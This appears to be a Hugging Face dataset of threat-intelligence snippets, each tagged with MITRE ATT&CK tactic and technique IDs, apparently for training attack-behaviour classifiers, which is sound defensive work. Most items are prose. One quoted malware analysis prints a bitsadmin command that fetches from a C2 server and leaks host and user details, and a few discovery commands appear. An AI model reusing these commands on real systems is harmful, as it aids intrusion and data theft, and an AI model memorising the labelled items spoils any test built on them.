madox81/Adema_ATTACK_DS huggingface dataset:
Input: Zeus Panda queries the system's keyboard mapping to determine the language used on the system.

Tactics: TA0007
Techniques: T1614, T1614.001
Input: Gamaredon Group has left taunting images and messages on the victims' desktops as proof of system access.

Tactics: TA0040
Techniques: T1491.001, T1491
Input: TA551 has used rundll32.exe to load malicious DLLs.

Tactics: TA0005
Techniques: T1218, T1218.011
Input: This shellcode injects the final payload taken from the resource section into the original RegAsm.exe process

Tactics: TA0004, TA0005
Techniques: T1055
Input: KONNI has bypassed UAC by performing token impersonation as well as an RPC-based method, this included bypassing UAC set to "AlwaysNotify".

Tactics: TA0004, TA0005
Techniques: T1548.002, T1548
Input: Sykipot injects itself into running instances of outlook.exe, iexplore.exe, or firefox.exe.

Tactics: TA0004, TA0005
Techniques: T1055, T1055.001
Input: Winnti for Windows can communicate using custom TCP.

Tactics: TA0011
Techniques: T1095
Input: APT41 modified legitimate Windows services to install malware backdoors.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Grandoreiro can collect the computer name and OS version from a compromised host.

Tactics: TA0007
Techniques: T1082
Input: InnaputRAT launches a shell to execute commands on the victim’s machine.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/

Tactics: TA0002
Techniques: T1559, T1559.002
Input: BACKSPACE allows adversaries to search for files.

Tactics: TA0007
Techniques: T1083
Input: Lucifer can execute TCP, UDP,  and HTTP denial of service (DoS) attacks.

Tactics: TA0040
Techniques: T1498
Input: Sliver has the ability to manipulate user tokens on targeted Windows systems.

Tactics: TA0004, TA0005
Techniques: T1134
Input: Lazarus Group has also used AES to encrypt C2 traffic.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: Kexts are loaded and unloaded through kextload and kextunload commands.

Tactics: TA0003, TA0004
Techniques: T1547, T1547.006
Input: InnaputRAT uses the API call ShellExecuteW for execution.

Tactics: TA0002
Techniques: T1106
Input: Create static ARP entries for networked devices.

Tactics: TA0006, TA0009
Techniques: T1557, T1557.002
Input: Windows Group Policy can be used to manage root certificates and the Flags value of HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store.

Tactics: TA0005
Techniques: T1553, T1553.004
Input: Sharpshooter's first-stage downloader was a VBA macro.

Tactics: TA0002
Techniques: T1059.005, T1059
Input: Registry entries in HKLM\Software[\Wow6432Node\]\Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon.

Tactics: TA0003, TA0004
Techniques: T1547.004, T1547
Input: The adversary assumes the security context of whichever browser process the proxy is injected into.

Tactics: TA0009
Techniques: T1185
Input: SodaMaster can identify the username on a compromised host.

Tactics: TA0007
Techniques: T1033
Input: Magic Hound malware has communicated with its C2 server over TCP port 4443 using HTTP.

Tactics: TA0011
Techniques: T1571
Input: A RedLeaves configuration file is encrypted with a simple XOR key, 0x53.

Tactics: TA0005
Techniques: T1027
Input: This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.

Tactics: TA0002
Techniques: T1059
Input: Silent Librarian has searched victim's websites to identify the interests and academic areas of targeted individuals and to scrape source code, branding, and organizational contact information for phishing pages.

Tactics: TA0043
Techniques: T1594
Input: Kinsing has used a script to parse files like /etc/hosts and SSH known_hosts to discover remote systems.

Tactics: TA0007
Techniques: T1018
Input: RTM can delete all files created during its execution.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Flagpro can check the name of the window displayed on the system.

Tactics: TA0007
Techniques: T1010
Input: Revenge RAT has a plugin for keylogging.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Consider using multi-factor authentication to restrict access to resources and cloud storage APIs.

Tactics: TA0009
Techniques: T1530
Input: BLACKCOFFEE uses Microsoft’s TechNet Web portal to obtain a dead drop resolver containing an encoded tag with the IP address of a command and control server.

Tactics: TA0011
Techniques: T1102.001, T1102
Input: SDBbot has the ability to identify the OS version, country code, and computer name.

Tactics: TA0007
Techniques: T1082
Input: esentutl can be used to copy files to/from a remote share.

Tactics: TA0008
Techniques: T1570
Input: If so, NETEAGLE will send beacons via an HTTP POST request.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products

Tactics: TA0007
Techniques: T1518.001, T1518
Input: The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile.

Tactics: TA0005
Techniques: T1553.001, T1553
Input: SoreFang can enumerate domain groups by executing net.exe group /domain.

Tactics: TA0007
Techniques: T1069.002, T1069
Input: WarzoneRAT can enumerate directories on a compromise host.

Tactics: TA0007
Techniques: T1083
Input: SOUNDBITE is capable of gathering system information.

Tactics: TA0007
Techniques: T1082
Input: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting.

Tactics: TA0043
Techniques: T1598
Input: The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\[handler]\shell\[action]\command.

Tactics: TA0003, TA0004
Techniques: T1546, T1546.001
Input: Carbon can list the processes on the victim’s machine.

Tactics: TA0007
Techniques: T1057
Input: It sets keyboard and mouse hooks to its handlekeys() and MouseHookProc() functions respectively and starts several working threads:    ID Thread description   1 Gets commands from C2 and saves them to a file and system registry using the bitsadmin.exe utility   2 Decrypts command from registry using RC4 with a hardcoded key, and executes it   3 Transfers screenshots from the clipboard to \Cache005 subdirectory and Unicode text from clipboard to log.txt, XOR-ed with the “salamati” key (“health” in Farsi)   4 Transfers screenshots to \Cache005 subdirectory with captureScreenTimeOut and captureScreenTimeOut frequencies   5 Checks network connection, encrypts and sends gathered logs   6 Unhooks mouse and keyboard, removes bitsadmin task   7 Checks if malware’s working directory size already exceeds its threshold   8 Gathers victim´s credentials, visited website cache, decrypted Chrome login data, as well as Firefox databases with cookies, keys, signons and downloads    The malware uses the following command to receive data from its C2:       bitsadmin.exe /TRANSFER HelpCenterDownload /DOWNLOAD /PRIORITY normal <server> <file>http://<server_config>/asp.asp?ui=<host_name>nrg-<adapter_info>-<user_name>     Activity logging module (Splitter.exe) This module is called from the main thread to obtain screenshots of windows whose titles are specified in the configuration CaptureSites field, bitmaps and text from clipboard, etc

Tactics: TA0009
Techniques: T1115, T1113
Input: The skills needed may be located in-house, or may need to be contracted out.

Tactics: TA0042
Techniques: T1587, T1587.004, T1587.001
Input: Common subcommands include: launchctl load,launchctl unload, and launchctl start.

Tactics: TA0002
Techniques: T1569.001, T1569
Input: Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with.

Tactics: TA0005
Techniques: T1553, T1553.006
Input: Kazuar captures images from the webcam.

Tactics: TA0009
Techniques: T1125
Input: Avaddon encrypts the victim system using a combination of AES256 and RSA encryption schemes.

Tactics: TA0040
Techniques: T1486
Input: Lazarus Group has abused the KernelCallbackTable to hijack process control flow and execute shellcode.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.013, T1574
Input: Monitor for newly constructed logon behavior that may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078
Input: Adversaries may transfer tools or other files between systems in a compromised environment.

Tactics: TA0008
Techniques: T1570
Input: Kobalos can record the IP address of the target machine.

Tactics: TA0007
Techniques: T1016
Input: Monitor the local image registry to make sure malicious images are not added.

Tactics: TA0002
Techniques: T1204.003, T1204
Input: For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet.

Tactics: TA0040
Techniques: T1498
Input: UBoatRAT can start a command shell.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: WellMess can communicate to C2 with mutual TLS where client and server mutually check certificates.

Tactics: TA0011
Techniques: T1573, T1573.002
Input: Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes.

Tactics: TA0004
Techniques: T1068
Input: Mythic can leverage a modified SOCKS5 proxy to tunnel egress C2 traffic.

Tactics: TA0011
Techniques: T1090, T1090.002
Input: MegaCortex has used rundll32.exe to load a DLL for file encryption.

Tactics: TA0005
Techniques: T1218, T1218.011
Input: WannaCry attempts to copy itself to remote computers after gaining access via an SMB exploit.

Tactics: TA0008
Techniques: T1570
Input: Calisto presents an input prompt asking for the user's login and password.

Tactics: TA0006, TA0009
Techniques: T1056.002, T1056
Input: Dtrack’s dropper contains a keylogging executable.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Configure access controls and firewalls to limit access to critical systems and domain controllers.

Tactics: TA0003
Techniques: T1136, T1136.003, T1098.001, T1098
Input: Winnti for Windows can set the timestamps for its worker and service components to match that of cmd.exe.

Tactics: TA0005
Techniques: T1070, T1070.006
Input: Windigo has used a Perl script for information gathering.

Tactics: TA0002
Techniques: T1059
Input: Collect events related to Registry key modification for keys that could be used for Office-based persistence.

Tactics: TA0003
Techniques: T1137.002, T1137, T1137.001
Input: There are also specific applications that store passwords to make it easier for users manage and maintain.

Tactics: TA0006
Techniques: T1555
Input: MacSpy can capture screenshots of the desktop over multiple monitors.

Tactics: TA0009
Techniques: T1113
Input: Babuk has the ability to check running processes on a targeted system.

Tactics: TA0007
Techniques: T1057
Input: AADInternals can enumerate Azure AD groups.

Tactics: TA0007
Techniques: T1069, T1069.003
Input: LightNeuron is capable of executing commands via cmd.exe.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Catchamas creates three Registry keys to establish persistence by adding a Windows Service.

Tactics: TA0005
Techniques: T1112
Input: Detection Name  Product  Action    POWERSHELL DOWNLOADER D (METHODOLOGY)  HX  Detect    SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)  HX  Detect    POWERSHELL DOWNLOADER (METHODOLOGY)  HX  Detect    SUSPICIOUS EQNEDT USAGE (METHODOLOGY)  HX  Detect    TOR (TUNNELER)  HX  Detect    SUSPICIOUS SVCHOST.EXE (METHODOLOGY)  HX  Detect    Malware.Binary.rtf  EX/ETP/NX  Block    Malware.Binary  EX/ETP/NX  Block    FE_Exploit_RTF_CVE_2017_8759  EX/ETP/NX  Block    FE_Exploit_RTF_CVE201711882_1  EX/ETP/NX  Block    Table 2: Current detection capabilities by FireEye products Indicators of Compromise The contained analysis is based on the representative sample lures shown in Table 3

Tactics: TA0002, TA0005, TA0007
Techniques: T1497, T1518.001, T1518, T1059.001, T1059
Input: Ke3chang has performed local network configuration discovery using ipconfig.

Tactics: TA0007
Techniques: T1016
Input: Stuxnet used xp_cmdshell to store and execute SQL code.

Tactics: TA0003
Techniques: T1505.001, T1505
Input: HotCroissant has the ability to clean up installed files, delete files, and delete itself from the victim’s machine.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Aria-body has the ability to identify the username on a compromised host.

Tactics: TA0007
Techniques: T1033
Input: ServHelper may set up a reverse SSH tunnel to give the attacker access to services running on the victim, such as RDP.

Tactics: TA0011
Techniques: T1573, T1573.002
Input: Monitor for changes to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).

Tactics: TA0003, TA0005, TA0006
Techniques: T1556, T1556.001
Input: Goopy has the ability to maintain persistence by creating scheduled tasks set to run every hour.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Malware used by Group5 is capable of capturing keystrokes.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: Pandora has the ability to encrypt communications with D3DES.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: DarkWatchman can collect the OS version, system architecture, uptime, and computer name.

Tactics: TA0007
Techniques: T1082
Input: Cuba loaded the payload into memory using PowerShell.

Tactics: TA0005
Techniques: T1620
Input: Dragonfly has used various types of scripting to perform operations, including Python scripts.

Tactics: TA0002
Techniques: T1059.006, T1059
Input: Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain.

Tactics: TA0042
Techniques: T1584.001, T1584
Input: Check the success and failure audit options in the AD FS Management snap-in.

Tactics: TA0006
Techniques: T1606, T1606.002
Input: Cracking hashes is usually done on adversary-controlled systems outside of the target network.

Tactics: TA0006
Techniques: T1110, T1110.002
Input: Sakula calls cmd.exe to run various DLL files via rundll32.

Tactics: TA0005
Techniques: T1218, T1218.011
Input: Octopus has relied upon users clicking on a malicious attachment delivered through spearphishing.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: Cardinal RAT applies compression to C2 traffic using the ZLIB library.

Tactics: TA0009
Techniques: T1560.002, T1560
Input: In these websites they hosted malware that was digitally signed with a valid, likely stolen code signing certificate Based on VirusTotal uploads, malicious documents content, and known victims – other targeted organisations are located in Turkey, Qatar, Kuwait, United Arab Emirates, Saudi Arabia, and Lebanon

Tactics: TA0005
Techniques: T1553, T1553.002
Input: Sandworm Team's BCS-server tool connects to the designated C2 server via HTTP.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: Stuxnet uses HTTP to communicate with a command and control server.

Tactics: TA0011
Techniques: T1071, T1071.001
Input: OceanSalt can delete files from the system.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-by-side problems in software.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.001, T1574
Input: Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks.

Tactics: TA0005
Techniques: T1553, T1553.003
Input: Ke3chang has used the right-to-left override character in spearphishing attachment names to trick targets into executing .scr and .exe files.

Tactics: TA0005
Techniques: T1036, T1036.002
Input: ShellTea utilizes a number of techniques to identify if it is running within a virtual environment or is being monitored.

Tactics: TA0005, TA0007
Techniques: T1497
Input: Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.

Tactics: TA0005
Techniques: T1562.006, T1562
Input: APT29 has extracted files from compromised networks.

Tactics: TA0009
Techniques: T1005
Input: Upon execution, the “Windows Folder.exe” file copies itself to C:\Users\<username>\AppData\Roaming and creates a Windows shortcut (LNK) file in the victim’s Startup directory as a persistence mechanism

Tactics: TA0003, TA0004, TA0009
Techniques: T1547.009, T1547, T1074
Input: Systeminfo can be used to gather information about the operating system.

Tactics: TA0007
Techniques: T1082
Input: Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.

Tactics: TA0009
Techniques: T1114, T1114.001
Input: net view

Tactics: TA0007
Techniques: T1135
Input: NotPetya will reboot the system one hour after infection.

Tactics: TA0040
Techniques: T1529
Input: With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.

Tactics: TA0005
Techniques: T1036.006, T1036
Input: Metamorfo requires the user to double-click the executable to run the malicious HTA file or to download a malicious installer.

Tactics: TA0002
Techniques: T1204.002, T1204
Input: TrickBot can steal passwords from the KeePass open source password manager.

Tactics: TA0006
Techniques: T1555.005, T1555
Input: Monitor for logged network traffic in response to a scan showing both protocol header and body values that may buy and/or steal SSL/TLS certificates that can be used during targeting.

Tactics: TA0042
Techniques: T1588.004, T1588
Input: Operation Wocao has created services on remote systems for execution purposes.

Tactics: TA0002
Techniques: T1569.002, T1569
Input: Smoke Loader scans processes to perform anti-VM checks.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001
Input: Proton gathers credentials in files for 1password.

Tactics: TA0006
Techniques: T1555.005, T1555
Input: Chrommme can store captured system information locally prior to exfiltration.

Tactics: TA0009
Techniques: T1074.001, T1074
Input: Additionally we see a cmd.exe process launched and used for process injection using the VirtualAlloc(), WriteProcessMemory() and CreateRemoteThread() Windows APIs, as with the first finding of ROKRAT they continue to use similar Windows APIs

Tactics: TA0004, TA0005
Techniques: T1055.012, T1055
Input: Leviathan has exploited multiple Microsoft Office and .NET vulnerabilities for execution, including CVE-2017-0199, CVE-2017-8759, and CVE-2017-11882.

Tactics: TA0002
Techniques: T1203
Input: For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet.

Tactics: TA0011
Techniques: T1102.002, T1102
Input: Frankenstein has used spearphishing emails to send trojanized Microsoft Word documents.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: Koadic performs most of its operations using Windows Script Host (VBScript) and runs arbitrary shellcode .

Tactics: TA0002
Techniques: T1059.005, T1059
Input: Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O.

Tactics: TA0002
Techniques: T1059.006, T1059
Input: AutoIt backdoor downloads a PowerShell script that decodes to a typical shellcode loader.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: LiteDuke can query the Registry to check for the presence of HKCU\Software\KasperskyLab.

Tactics: TA0007
Techniques: T1012
Input: gh0st RAT can capture the victim’s screen remotely.

Tactics: TA0009
Techniques: T1113
Input: Monitor and analyze traffic patterns and packet inspection associated with web-based network connections that are sent to malicious or suspicious detinations ( destinations attributed to phishing campaigns).

Tactics: TA0002
Techniques: T1204, T1204.001
Input: Consider implementing WMI and security filtering to further tailor which users and computers a GPO will apply to.

Tactics: TA0004, TA0005
Techniques: T1484.001, T1484
Input: Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to  Steal Application Access Tokens.

Tactics: TA0001
Techniques: T1566, T1566.002
Input: The screenshots included remote desktop (RDP) sessions showing the Glimpse panel, a web browser session displaying a C2 panel called Scarecrow, web browser sessions into VPS administrative panels, and evidence of potential destructive attacks against OilRig servers

Tactics: TA0003, TA0008, TA0009
Techniques: T1505.003, T1021.001, T1021, T1505, T1113
Input: CookieMiner has used python scripts on the user’s system, as well as the Python variant of the Empire agent, EmPyre.

Tactics: TA0002
Techniques: T1059.006, T1059
Input: Ramsay can schedule tasks via the Windows COM API to maintain persistence.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078, T1078.001
Input: Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys.

Tactics: TA0003
Techniques: T1098.004, T1098
Input: Vasport is capable of tunneling though a proxy.

Tactics: TA0011
Techniques: T1090
Input: This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.

Tactics: TA0005
Techniques: T1562.006, T1562
Input: who -a and w can be used to show which users are currently logged in, similar to "net session".

Tactics: TA0007
Techniques: T1049
Input: Monitor for newly constructed logon behavior across cloud service management consoles.

Tactics: TA0007
Techniques: T1538
Input: Monitor presence and use of CHM files, especially if they are not typically used within an environment.

Tactics: TA0005
Techniques: T1218, T1218.001
Input: Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions.

Tactics: TA0008
Techniques: T1021, T1021.002
Input: Threat Group-3390 ran a command to compile an archive of file types of interest from the victim user's directories.

Tactics: TA0009
Techniques: T1005, T1119
Input: Adversaries may establish persistence by executing malicious content triggered by an interrupt signal.

Tactics: TA0003, TA0004
Techniques: T1546.005, T1546
Input: can download and execute a second-stage payload.

Tactics: TA0011
Techniques: T1105
Input: Build Tool Most of CARBANAK’s strings are encrypted in order to make analysis more difficult

Tactics: TA0005
Techniques: T1027
Input: Monitor executed commands and arguments for actions that could be taken to gather...

Tactics: TA0005
Techniques: T1036.003, T1036
Input: Pupy can enumerate local information for Linux hosts and find currently logged on users for Windows hosts.

Tactics: TA0007
Techniques: T1033
Input: Ursnif has used a peer-to-peer (P2P) network for C2.

Tactics: TA0011
Techniques: T1090